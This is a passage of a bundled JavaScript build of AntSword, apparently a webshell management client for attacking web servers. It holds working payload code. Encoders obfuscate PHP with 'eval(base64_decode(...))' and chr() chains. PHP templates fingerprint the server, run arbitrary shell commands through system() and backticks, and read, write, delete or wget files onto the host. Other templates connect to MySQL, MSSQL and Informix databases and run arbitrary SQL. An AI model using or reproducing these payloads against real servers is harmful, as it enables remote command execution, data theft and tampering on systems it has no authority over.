return __webpack_require__(webpackContextResolve(req));
};
function webpackContextResolve(req) {
return map[req] || (function() { throw new Error("Cannot find module '" + req + "'.") }());
};
webpackContext.keys = function webpackContextKeys() {
return Object.keys(map);
};
webpackContext.resolve = webpackContextResolve;
module.exports = webpackContext;
webpackContext.id = 41;
/***/ },
/* 42 */
/***/ function(module, exports, __webpack_require__) {
/* WEBPACK VAR INJECTION */(function(Buffer) {//
// php::base64 编码模块
//
'use strict';
module.exports = function (pwd, data) {
var randomID = '_0x' + Math.random().toString(16).substr(2);
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = 'eval(base64_decode($_POST[' + randomID + ']));';
delete data['_'];
return data;
};
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(5).Buffer))
/***/ },
/* 43 */
/***/ function(module, exports) {
//
// encoder::chr
//
// chr编码器
// --------
// 利用php函数`chr`进行编码处理
//
'use strict';
module.exports = function (pwd, data) {
// 编码函数
var encode = function encode(php) {
var ret = [];
var i = 0;
while (i < php.length) {
ret.push(php[i].charCodeAt());
i++;
}
return 'eVAl(cHr(' + ret.join(').ChR(') + '));';
};
// 编码并去除多余数据
data[pwd] = encode(data._);
delete data._;
// 返回数据
return data;
};
/***/ },
/* 44 */
/***/ function(module, exports, __webpack_require__) {
/* WEBPACK VAR INJECTION */(function(global, Buffer) {'use strict';
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol ? "symbol" : typeof obj; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
//
// 代码模板::asp
//
var iconv = global.require('iconv-lite');
var ASP = function () {
function ASP(opts) {
_classCallCheck(this, ASP);
this.__opts__ = opts;
this.parseTpl(['base', 'command', 'filemanager', 'database/sqlserver', 'database/mysql', 'database/oracle']);
this.parseEnr(['base64', 'hex']);
}
// 格式化函数
_createClass(ASP, [{
key: 'format',
value: function format() {
var encode = this.__opts__['encode'] || 'utf8';
return {
base64: function base64(str) {
// 编码
var _str_ = iconv.encode(new Buffer(str), encode);
return new Buffer(_str_).toString('base64');
},
// 转换为16进制::编码
hex: function hex(b) {
var ret = [];
var buff = iconv.encode(new Buffer(b), encode);
buff.toJSON()['data'].map(function (i) {
var _ = i.toString(16);
_.length < 2 ? _ = '0' + _ : null;
ret.push(_);
});
return ret.join('').toUpperCase();
},
// 转换为16进制::不编码
buffer: function buffer(b) {
var ret = [];
b.toJSON()['data'].map(function (i) {
var _ = i.toString(16);
_.length < 2 ? _ = '0' + _ : null;
ret.push(_);
});
return ret.join('').toUpperCase();
}
};
}
// 解析模板
}, {
key: 'parseTpl',
value: function parseTpl(tpl) {
var _this = this;
var _export = {};
// 模板格式化函数
var format = this.format();
// 加载模板代码
tpl.map(function (t) {
// 解析模板
_this[t.replace(/\//g, '_')] = {};
var m = __webpack_require__(45)("./" + t);
for (var _ in m) {
_this[t.replace(/\//g, '_')][_] = function (c) {
// 如果需要参数
if ((typeof c === 'undefined' ? 'undefined' : _typeof(c)) === 'object') {
return function (argv, success, error, hook) {
var data = $.extend({}, c);
// 格式化参数
var _loop = function _loop(d) {
(data[d].match(/#{([\w\:]+)}/g) || []).map(function (tag) {
var _t = tag.substr(2, tag.length - 3);
// 如果需要字符处理
var _f = _t.split('::');
var _ff = void 0;
if (_f.length > 0 && (_ff = format[_f[0]])) {
// _t = _ff(argv[_f[1]] || _t);
_t = _ff(argv[_f[1]] || '');
} else {
// _t = argv[_t] || _t;
_t = argv[_t] || '';
}
data[d] = data[d].replace(tag, _t);
});
};
for (var d in data) {
_loop(d);
}
_this.ajax(data, success, error, hook);
};
} else {
var _ret2 = function () {
var data = {
_: c
};
return {
v: function v(success, error, hook) {
_this.ajax(data, success, error, hook);
}
};
}();
if ((typeof _ret2 === 'undefined' ? 'undefined' : _typeof(_ret2)) === "object") return _ret2.v;
}
}(m[_]);
}
});
}
// 解析编码模块
}, {
key: 'parseEnr',
value: function parseEnr(edr) {
var encoder = {
// 默认编码器
default: function _default(pwd, data) {
data[pwd] = data['_'];
delete data['_'];
return data;
}
};
edr.map(function (_) {
encoder[_] = __webpack_require__(53)("./" + _);
});
this.__encoder__ = encoder;
}
}, {
key: 'ajax',
value: function ajax(code, success, error, hook) {
var post = $.extend({}, code);
// 随机ID(用于监听数据来源)
var hash = (String(+new Date()) + String(Math.random())).substr(10, 10).replace('.', '_');
var tag_s = '->|';
var tag_e = '|<-';
var encode = this.__opts__['encode'] || 'utf8';
// post[]
// const code_base64 = this.format()['base64'](post['_']);
// post['_'] = `Response.Write("${tag_s");var err:Exception;try{eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("${code_base64}")),"unsafe");}catch(err){Response.Write("ERROR:// "+err.message);}Response.Write("${tag_e}");Response.End();`;
// 编码处理模板
var encoder = this.__encoder__[this.__opts__['encoder'] || 'default'] || this.__encoder__['default'];
var data = encoder(this.__opts__['pwd'], post);
// 监听数据返回
antSword['ipcRenderer']
// 请求完毕返回数据{text,buff}
.on('request-' + hash, function (event, arg) {
success(arg['text'], arg['buff']);
})
// HTTP请求返回字节流
.on('request-chunk-' + hash, function (event, ret) {
hook ? hook(ret) : null;
})
// 数据请求错误
.on('request-error-' + hash, function (event, ret) {
error ? error(ret) : null;
})
// 发送请求数据
.send('request', {
url: this.__opts__['url'],
hash: hash,
data: data,
tag_s: tag_s,
tag_e: tag_e,
encode: encode
});
}
}]);
return ASP;
}();
module.exports = ASP;
/* WEBPACK VAR INJECTION */}.call(exports, (function() { return this; }()), __webpack_require__(5).Buffer))
/***/ },
/* 45 */
/***/ function(module, exports, __webpack_require__) {
var map = {
"./base": 46,
"./base.jsx": 46,
"./command": 47,
"./command.jsx": 47,
"./database/default": 48,
"./database/default.jsx": 48,
"./database/mysql": 49,
"./database/mysql.jsx": 49,
"./database/oracle": 50,
"./database/oracle.jsx": 50,
"./database/sqlserver": 51,
"./database/sqlserver.jsx": 51,
"./filemanager": 52,
"./filemanager.jsx": 52
};
function webpackContext(req) {
return __webpack_require__(webpackContextResolve(req));
};
function webpackContextResolve(req) {
return map[req] || (function() { throw new Error("Cannot find module '" + req + "'.") }());
};
webpackContext.keys = function webpackContextKeys() {
return Object.keys(map);
};
webpackContext.resolve = webpackContextResolve;
module.exports = webpackContext;
webpackContext.id = 45;
/***/ },
/* 46 */
/***/ function(module, exports) {
'use strict';
//
// 基础信息模板
// 获取：当前路径、磁盘列表
//
module.exports = {
info: 'A'
};
/***/ },
/* 47 */
/***/ function(module, exports) {
'use strict';
//
// 命令执行模板
//
module.exports = {
exec: {
_: 'M',
'z1': '#{bin}',
'z2': '#{cmd}'
}
};
/***/ },
/* 48 */
/***/ function(module, exports) {
'use strict';
//
// 默认代码模板
//
// @params
// :encode SHELL编码
// :conn 数据库连接字符串
// :sql 执行SQL语句
//
module.exports = {
show_databases: {
_: 'N',
'z0': '#{encode}',
'z1': '#{conn}'
},
show_tables: {
_: 'O',
'z0': '#{encode}',
'z1': '#{conn}'
},
show_columns: {
_: 'P',
'z0': '#{encode}',
'z1': '#{conn}'
},
query: {
_: 'Q',
'z0': '#{encode}',
'z1': '#{conn}',
'z2': '#{sql}'
}
};
/***/ },
/* 49 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
/*
<T>XDB</T>
<X>
com.mysql.jdbc.Driver
jdbc:mysql://localhost/test?user=root&password=123456
</X>
*/
module.exports = __webpack_require__(48);
/***/ },
/* 50 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
/*
<T>XDB</T>
<X>
oracle.jdbc.driver.OracleDriver
jdbc:oracle:thin:user/password@127.0.0.1:1521/test
</X>
*/
module.exports = __webpack_require__(48);
/***/ },
/* 51 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
/*
<T>XDB</T>
<X>
com.microsoft.sqlserver.jdbc.SQLServerDriver
jdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456
</X>
*/
module.exports = __webpack_require__(48);
/***/ },
/* 52 */
/***/ function(module, exports) {
'use strict';
//
// 文件管理模板
//
module.exports = {
dir: {
_: 'B',
'z1': '#{path}'
},
delete: {
_: 'E',
'z1': '#{path}'
},
create_file: {
_: 'D',
'z1': '#{path}',
'z2': '#{content}'
},
read_file: {
_: 'C',
'z1': '#{path}'
},
copy: {
_: 'H',
'z1': '#{path}',
'z2': '#{target}'
},
download_file: {
_: 'F',
'z1': '#{path}'
},
upload_file: {
_: 'U',
'z1': '#{path}',
'z2': '#{hex::content}'
},
rename: {
_: 'I',
'z1': '#{path}',
'z2': '#{name}'
},
retime: {
_: 'K',
'z1': '#{path}',
'z2': '#{time}'
},
mkdir: {
_: 'J',
'z1': '#{path}'
},
wget: {
_: 'L',
'z1': '#{url}',
'z2': '#{path}'
}
};
/***/ },
/* 53 */
/***/ function(module, exports, __webpack_require__) {
var map = {
"./base64": 54,
"./base64.jsx": 54,
"./hex": 55,
"./hex.jsx": 55
};
function webpackContext(req) {
return __webpack_require__(webpackContextResolve(req));
};
function webpackContextResolve(req) {
return map[req] || (function() { throw new Error("Cannot find module '" + req + "'.") }());
};
webpackContext.keys = function webpackContextKeys() {
return Object.keys(map);
};
webpackContext.resolve = webpackContextResolve;
module.exports = webpackContext;
webpackContext.id = 53;
/***/ },
/* 54 */
/***/ function(module, exports, __webpack_require__) {
/* WEBPACK VAR INJECTION */(function(Buffer) {//
// custom::base64 编码模块
//
// :把除了密码的其他参数都base64编码一次
//
'use strict';
module.exports = function (pwd, data) {
var ret = {};
for (var _ in data) {
if (_ === '_') {
continue;
};
ret[_] = new Buffer(data[_]).toString('base64');
}
ret[pwd] = data['_'];
return ret;
};
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(5).Buffer))
/***/ },
/* 55 */
/***/ function(module, exports, __webpack_require__) {
/* WEBPACK VAR INJECTION */(function(Buffer) {//
// 16进制编码模块
//
'use strict';
module.exports = function (pwd, data) {
var ret = {};
for (var _ in data) {
if (_ === '_') {
continue;
};
ret[_] = new Buffer(data[_]).toString('hex');
}
ret[pwd] = data['_'];
return ret;
};
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(5).Buffer))
/***/ },
/* 56 */
/***/ function(module, exports, __webpack_require__) {
/* WEBPACK VAR INJECTION */(function(global, Buffer) {'use strict';
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol ? "symbol" : typeof obj; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
//
// 代码模板::php
//
/*
用法：
const php = new PHP({
url: 'http://target/shell.php',
pwd: 'shell',
encode: 'gbk',
encoder: 'base64'
});
// 基本信息
php.base.info((ret) => {
});
// 执行命令
php.command.system({
cmd:'whoami',
bin: '/bin/sh'
}, (ret) => {
});
...
*/
var iconv = global.require('iconv-lite');
var PHP = function () {
function PHP(opts) {
_classCallCheck(this, PHP);
this.__opts__ = opts;
this.parseTpl(['base', 'command', 'filemanager', 'database/mysql', 'database/mssql', 'database/oracle', 'database/informix']);
this.parseEnr(['base64', 'chr']);
}
// 格式化函数
_createClass(PHP, [{
key: 'format',
value: function format() {
var encode = this.__opts__['encode'] || 'utf8';
return {
base64: function base64(str) {
// 编码
var _str_ = iconv.encode(new Buffer(str), encode);
return new Buffer(_str_).toString('base64');
},
// 转换为16进制::编码
hex: function hex(b) {
// let ret = [];
var buff = iconv.encode(new Buffer(b), encode);
return new Buffer(buff).toString('hex').toUpperCase();
// buff.toJSON()['data'].map((i) => {
// let _ = i.toString(16);
// _.length < 2 ? _ = `0${_}` : null;
// ret.push(_);
// });
// return ret.join('').toUpperCase();
},
// 转换为16进制::不编码
buffer: function buffer(b) {
return new Buffer(b).toString('hex').toUpperCase();
// let ret = [];
// b.toJSON()['data'].map((i) => {
// let _ = i.toString(16);
// _.length < 2 ? _ = `0${_}` : null;
// ret.push(_);
// });
// return ret.join('').toUpperCase();
}
};
}
// 解析模板
}, {
key: 'parseTpl',
value: function parseTpl(tpl) {
var _this = this;
var _export = {};
// 模板格式化函数
var format = this.format();
// 加载模板代码
tpl.map(function (t) {
// 解析模板
_this[t.replace(/\//g, '_')] = {};
var m = __webpack_require__(57)("./" + t);
for (var _ in m) {
_this[t.replace(/\//g, '_')][_] = function (c) {
// 如果需要参数
if ((typeof c === 'undefined' ? 'undefined' : _typeof(c)) === 'object') {
return function (argv, success, error, hook) {
var data = $.extend({}, c);
// 格式化参数
var _loop = function _loop(d) {
(data[d].match(/#{([\w\:]+)}/g) || []).map(function (tag) {
var _t = tag.substr(2, tag.length - 3);
// 如果需要字符处理
var _f = _t.split('::');
var _ff = void 0;
if (_f.length > 0 && (_ff = format[_f[0]])) {
// _t = _ff(argv[_f[1]] || _t);
_t = _ff(argv[_f[1]] || '');
} else {
// _t = argv[_t] || _t;
_t = argv[_t] || '';
}
data[d] = data[d].replace(tag, _t);
});
};
for (var d in data) {
_loop(d);
}
_this.ajax(data, success, error, hook);
};
} else {
var _ret2 = function () {
var data = {
_: c
};
return {
v: function v(success, error, hook) {
_this.ajax(data, success, error, hook);
}
};
}();
if ((typeof _ret2 === 'undefined' ? 'undefined' : _typeof(_ret2)) === "object") return _ret2.v;
}
}(m[_]);
}
});
}
// 解析编码模块
}, {
key: 'parseEnr',
value: function parseEnr(edr) {
var encoder = {
// 默认编码器
default: function _default(pwd, data) {
data[pwd] = data['_'];
delete data['_'];
return data;
}
};
edr.map(function (_) {
encoder[_] = __webpack_require__(66)("./" + _);
});
this.__encoder__ = encoder;
}
}, {
key: 'ajax',
value: function ajax(code, success, error, hook) {
// 补全代码
var post = $.extend({}, code);
// 随机ID(用于监听数据来源)
var hash = (String(+new Date()) + String(Math.random())).substr(10, 10).replace('.', '_');
var tag_s = '-=:{';
var tag_e = '}:=-';
var encode = this.__opts__['encode'] || 'utf8';
post['_'] = '@ini_set("display_errors", "0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo "' + tag_s + '";' + post['_'] + ';echo "' + tag_e + '";die();';
// 编码处理模板
var encoder = this.__encoder__[this.__opts__['encoder'] || 'default'] || this.__encoder__['default'];
var data = encoder(this.__opts__['pwd'], post);
// 监听数据返回
antSword['ipcRenderer']
// 请求完毕返回数据{text,buff}
.on('request-' + hash, function (event, arg) {
success(arg['text'], arg['buff']);
})
// HTTP请求返回字节流
.on('request-chunk-' + hash, function (event, ret) {
hook ? hook(ret) : null;
})
// 数据请求错误
.on('request-error-' + hash, function (event, ret) {
error ? error(ret) : null;
})
// 发送请求数据
.send('request', {
url: this.__opts__['url'],
hash: hash,
data: data,
tag_s: tag_s,
tag_e: tag_e,
encode: encode
});
}
}]);
return PHP;
}();
module.exports = PHP;
/* WEBPACK VAR INJECTION */}.call(exports, (function() { return this; }()), __webpack_require__(5).Buffer))
/***/ },
/* 57 */
/***/ function(module, exports, __webpack_require__) {
var map = {
"./argv": 58,
"./argv.jsx": 58,
"./base": 59,
"./base.jsx": 59,
"./command": 60,
"./command.jsx": 60,
"./database/informix": 61,
"./database/informix.jsx": 61,
"./database/mssql": 62,
"./database/mssql.jsx": 62,
"./database/mysql": 63,
"./database/mysql.jsx": 63,
"./database/oracle": 64,
"./database/oracle.jsx": 64,
"./filemanager": 65,
"./filemanager.jsx": 65
};
function webpackContext(req) {
return __webpack_require__(webpackContextResolve(req));
};
function webpackContextResolve(req) {
return map[req] || (function() { throw new Error("Cannot find module '" + req + "'.") }());
};
webpackContext.keys = function webpackContextKeys() {
return Object.keys(map);
};
webpackContext.resolve = webpackContextResolve;
module.exports = webpackContext;
webpackContext.id = 57;
/***/ },
/* 58 */
/***/ function(module, exports) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
/**
* 在模板中使用
* 1. 加载需要的参数列表： import { arg1, arg2, arg3 } from './argv';
* 2. 嵌入代码参数中：codes={[arg1]: `echo "${arg1}";`}...
**/
var random = function random() {
return "0x" + (Math.random() + Math.random()).toString(16).substr(2);
};
var arg1 = exports.arg1 = random();
var arg2 = exports.arg2 = random();
var arg3 = exports.arg3 = random();
var arg4 = exports.arg4 = random();
var arg5 = exports.arg5 = random();
var arg6 = exports.arg6 = random();
/***/ },
/* 59 */
/***/ function(module, exports) {
"use strict";
//
// 基础信息模板
// :用于获取系统信息、当前用户、路径、盘符列表
//
module.exports = {
info: "$D=dirname($_SERVER[\"SCRIPT_FILENAME\"]);if($D==\"\")$D=dirname($_SERVER[\"PATH_TRANSLATED\"]);$R=\"{$D}\t\";if(substr($D,0,1)!=\"/\"){foreach(range(\"A\",\"Z\")as $L)if(is_dir(\"{$L}:\"))$R.=\"{$L}:\";}else{$R.=\"/\";}$R.=\"\t\";$u=(function_exists(\"posix_getegid\"))?@posix_getpwuid(@posix_geteuid()):\"\";$s=($u)?$u[\"name\"]:@get_current_user();$R.=php_uname();$R.=\"\t{$s}\";echo $R;"
};
/***/ },
/* 60 */
/***/ function(module, exports, __webpack_require__) {
"use strict";
var _exec, _quote;
var _argv = __webpack_require__(58);
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } //
// 命令执行模板
// :默认使用`exec`代码模板
//
module.exports = {
exec: (_exec = {
_: "$p=base64_decode($_POST[\"" + _argv.arg1 + "\"]);$s=base64_decode($_POST[\"" + _argv.arg2 + "\"]);$d=dirname($_SERVER[\"SCRIPT_FILENAME\"]);$c=substr($d,0,1)==\"/\"?\"-c \\\"{$s}\\\"\":\"/c \\\"{$s}\\\"\";$r=\"{$p} {$c}\";@system($r.\" 2>&1\",$ret);print ($ret!=0)?\"ret={$ret}\":\"\";"
}, _defineProperty(_exec, _argv.arg1, "#{base64::bin}"), _defineProperty(_exec, _argv.arg2, "#{base64::cmd}"), _exec),
quote: (_quote = {
_: "$p=base64_decode($_POST[\"" + _argv.arg1 + "\"]);$s=base64_decode($_POST[\"" + _argv.arg2 + "\"]);$d=dirname($_SERVER[\"SCRIPT_FILENAME\"]);$c=substr($d,0,1)==\"/\"?\"-c \\\"{$s}\\\"\":\"/c \\\"{$s}\\\"\";$r=\"{$p} {$c}\";echo `{$r} 2>&1`"
}, _defineProperty(_quote, _argv.arg1, "#{base64::bin}"), _defineProperty(_quote, _argv.arg2, "#{base64::cmd}"), _quote)
};
/***/ },
/* 61 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _show_databases, _show_tables, _show_columns, _query;
var _argv = __webpack_require__(58);
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } //
// 数据库管理模板::informix
//
// :分隔符为 -> \t|\t
module.exports = {
// 显示所有数据库
show_databases: (_show_databases = {
_: '$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["' + _argv.arg1 + '"]):$_POST["' + _argv.arg1 + '"];$usr=$m?stripslashes($_POST["' + _argv.arg2 + '"]):$_POST["' + _argv.arg2 + '"];$pwd=$m?stripslashes($_POST["' + _argv.arg3 + '"]):$_POST["' + _argv.arg3 + '"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT username FROM SYSUSERS WHERE usertype=\'D\' ORDER BY username",$T);echo("informix".chr(9));while($rs=@ifx_fetch_row($q)){echo(trim($rs[username]).chr(9));}@ifx_close($T);'
}, _defineProperty(_show_databases, _argv.arg1, '#{host}'), _defineProperty(_show_databases, _argv.arg2, '#{user}'), _defineProperty(_show_databases, _argv.arg3, '#{passwd}'), _show_databases),
// 显示数据库所有表
show_tables: (_show_tables = {
_: '$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["' + _argv.arg1 + '"]):$_POST["' + _argv.arg1 + '"];$usr=$m?stripslashes($_POST["' + _argv.arg2 + '"]):$_POST["' + _argv.arg2 + '"];$pwd=$m?stripslashes($_POST["' + _argv.arg3 + '"]):$_POST["' + _argv.arg3 + '"];$dbn=$m?stripslashes($_POST["' + _argv.arg4 + '"]):$_POST["' + _argv.arg4 + '"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT tabname FROM systables where owner=\'{$dbn}\' and tabtype=\'T\' ORDER BY tabname",$T);while($rs=@ifx_fetch_row($q)){echo(trim($rs[tabname]).chr(9));}@ifx_close($T);'
}, _defineProperty(_show_tables, _argv.arg1, '#{host}'), _defineProperty(_show_tables, _argv.arg2, '#{user}'), _defineProperty(_show_tables, _argv.arg3, '#{passwd}'), _defineProperty(_show_tables, _argv.arg4, '#{db}'), _show_tables),
// 显示表字段
show_columns: (_show_columns = {
_: '$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["' + _argv.arg1 + '"]):$_POST["' + _argv.arg1 + '"];$usr=$m?stripslashes($_POST["' + _argv.arg2 + '"]):$_POST["' + _argv.arg2 + '"];$pwd=$m?stripslashes($_POST["' + _argv.arg3 + '"]):$_POST["' + _argv.arg3 + '"];$dbn=$m?stripslashes($_POST["' + _argv.arg4 + '"]):$_POST["' + _argv.arg4 + '"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT tabname FROM systables where owner=\'{$dbn}\' and tabtype=\'T\' ORDER BY tabname",$T);while($rs=@ifx_fetch_row($q)){echo(trim($rs[tabname]).chr(9));}@ifx_close($T);'
}, _defineProperty(_show_columns, _argv.arg1, '#{host}'), _defineProperty(_show_columns, _argv.arg2, '#{user}'), _defineProperty(_show_columns, _argv.arg3, '#{passwd}'), _defineProperty(_show_columns, _argv.arg4, '#{table}'), _show_columns),
// 执行SQL语句
query: (_query = {
_: '$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["' + _argv.arg1 + '"]):$_POST["' + _argv.arg1 + '"];$usr=$m?stripslashes($_POST["' + _argv.arg2 + '"]):$_POST["' + _argv.arg2 + '"];$pwd=$m?stripslashes($_POST["' + _argv.arg3 + '"]):$_POST["' + _argv.arg3 + '"];$dbn=$m?stripslashes($_POST["' + _argv.arg4 + '"]):$_POST["' + _argv.arg4 + '"];$sql=base64_decode($_POST["' + _argv.arg5 + '"]);$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query($sql,$T);$i=0;while($rs=@ifx_fetch_row($q)){if($i==0){for(reset($rs);$f=key($rs);next($rs)){echo($f."\t|\t");}echo("\r\n");}for(reset($rs);$f=key($rs);next($rs)){echo(trim($rs[$f]));echo("\t|\t");}echo("\r\n");$i++;}@ifx_close($T);'
}, _defineProperty(_query, _argv.arg1, '#{host}'), _defineProperty(_query, _argv.arg2, '#{user}'), _defineProperty(_query, _argv.arg3, '#{passwd}'), _defineProperty(_query, _argv.arg4, '#{db}'), _defineProperty(_query, _argv.arg5, '#{base64::sql}'), _query)
};
/***/ },
/* 62 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _show_databases, _show_tables, _show_columns, _query;
var _argv = __webpack_require__(58);
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } //
// 数据库管理模板::mssql
//
// :分隔符为 -> \t|\t
module.exports = {
// 显示所有数据库
show_databases: (_show_databases = {
_: '$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["' + _argv.arg1 + '"]):$_POST["' + _argv.arg1 + '"];$usr=$m?stripslashes($_POST["' + _argv.arg2 + '"]):$_POST["' + _argv.arg2 + '"];$pwd=$m?stripslashes($_POST["' + _argv.arg3 + '"]):$_POST["' + _argv.arg3 + '"];$T=@mssql_connect($hst,$usr,$pwd);$q=@mssql_query("select [name] from master.dbo.sysdatabases order by 1",$T);while($rs=@mssql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mssql_free_result($q);@mssql_close($T);'
}, _defineProperty(_show_databases, _argv.arg1, '#{host}'), _defineProperty(_show_databases, _argv.arg2, '#{user}'), _defineProperty(_show_databases, _argv.arg3, '#{passwd}'), _show_databases),
// 显示数据库所有表
show_tables: (_show_tables = {
_: '$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["' + _argv.arg1 + '"]):$_POST["' + _argv.arg1 + '"];$usr=$m?stripslashes($_POST["' + _argv.arg2 + '"]):$_POST["' + _argv.arg2 + '"];$pwd=$m?stripslashes($_POST["' + _argv.arg3 + '"]):$_POST["' + _argv.arg3 + '"];$dbn=$m?stripslashes($_POST["' + _argv.arg4 + '"]):$_POST["' + _argv.arg4 + '"];$T=@mssql_connect($hst,$usr,$pwd);@mssql_select_db($dbn,$T);$q=@mssql_query("SELECT [name] FROM sysobjects WHERE (xtype=\'U\' OR xtype=\'S\') ORDER BY 1",$T);while($rs=@mssql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mssql_free_result($q);@mssql_close($T);'
}, _defineProperty(_show_tables, _argv.arg1, '#{host}'), _defineProperty(_show_tables, _argv.arg2, '#{user}'), _defineProperty(_show_tables, _argv.arg3, '#{passwd}'), _defineProperty(_show_tables, _argv.arg4, '#{db}'), _show_tables),
// 显示表字段
show_columns: (_show_columns = {
_: '$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["' + _argv.arg1 + '"]):$_POST["' + _argv.arg1 + '"];$usr=$m?stripslashes($_POST["' + _argv.arg2 + '"]):$_POST["' + _argv.arg2 + '"];$pwd=$m?stripslashes($_POST["' + _argv.arg3 + '"]):$_POST["' + _argv.arg3 + '"];$dbn=$m?stripslashes($_POST["' + _argv.arg4 + '"]):$_POST["' + _argv.arg4 + '"];$tab=$m?stripslashes($_POST["' + _argv.arg5 + '"]):$_POST["' + _argv.arg5 + '"];$T=@mssql_connect($hst,$usr,$pwd);@mssql_select_db($dbn,$db);$q=@mssql_query("SELECT TOP 1 * FROM {$tab}",$T);while($rs=@mssql_fetch_field($q)){echo(trim($rs->name)." (".$rs->type.")".chr(9));}@mssql_free_result($q);@mssql_close($T);'
}, _defineProperty(_show_columns, _argv.arg1, '#{host}'), _defineProperty(_show_columns, _argv.arg2, '#{user}'), _defineProperty(_show_columns, _argv.arg3, '#{passwd}'), _defineProperty(_show_columns, _argv.arg4, '#{db}'), _defineProperty(_show_columns, _argv.arg5, '#{table}'), _show_columns),
// 执行SQL语句
query: (_query = {
_: '$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["' + _argv.arg1 + '"]):$_POST["' + _argv.arg1 + '"];$usr=$m?stripslashes($_POST["' + _argv.arg2 + '"]):$_POST["' + _argv.arg2 + '"];$pwd=$m?stripslashes($_POST["' + _argv.arg3 + '"]):$_POST["' + _argv.arg3 + '"];$dbn=$m?stripslashes($_POST["' + _argv.arg4 + '"]):$_POST["' + _argv.arg4 + '"];$sql=base64_decode($_POST["' + _argv.arg5 + '"]);$T=@mssql_connect($hst,$usr,$pwd);@mssql_select_db($dbn,$db);$q=@mssql_query($sql,$T);$i=0;while($rs=@mssql_fetch_field($q)){echo($rs->name."\t|\t");$i++;}echo("\r\n");while($rs=@mssql_fetch_row($q)){for($c=0;$c<$i;$c++){echo(trim($rs[$c]));echo("\t|\t");}echo("\r\n");}@mssql_free_result($q);@mssql_close($T);'
}, _defineProperty(_query, _argv.arg1, '#{host}'), _defineProperty(_query, _argv.arg2, '#{user}'), _defineProperty(_query, _argv.arg3, '#{passwd}'), _defineProperty(_query, _argv.arg4, '#{db}'), _defineProperty(_query, _argv.arg5, '#{base64::sql}'), _query)
};
/***/ },
/* 63 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _show_databases, _show_tables, _show_columns, _query;
var _argv = __webpack_require__(58);
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } //
// 数据库管理模板::mysql
//
// :分隔符为 -> \t|\t
module.exports = {
// 显示所有数据库
show_databases: (_show_databases = {
_: '$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["' + _argv.arg1 + '"]):$_POST["' + _argv.arg1 + '"];$usr=$m?stripslashes($_POST["' + _argv.arg2 + '"]):$_POST["' + _argv.arg2 + '"];$pwd=$m?stripslashes($_POST["' + _argv.arg3 + '"]):$_POST["' + _argv.arg3 + '"];$T=@mysql_connect($hst,$usr,$pwd);$q=@mysql_query("SHOW DATABASES");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mysql_close($T);'
}, _defineProperty(_show_databases, _argv.arg1, '#{host}'), _defineProperty(_show_databases, _argv.arg2, '#{user}'), _defineProperty(_show_databases, _argv.arg3, '#{passwd}'), _show_databases),
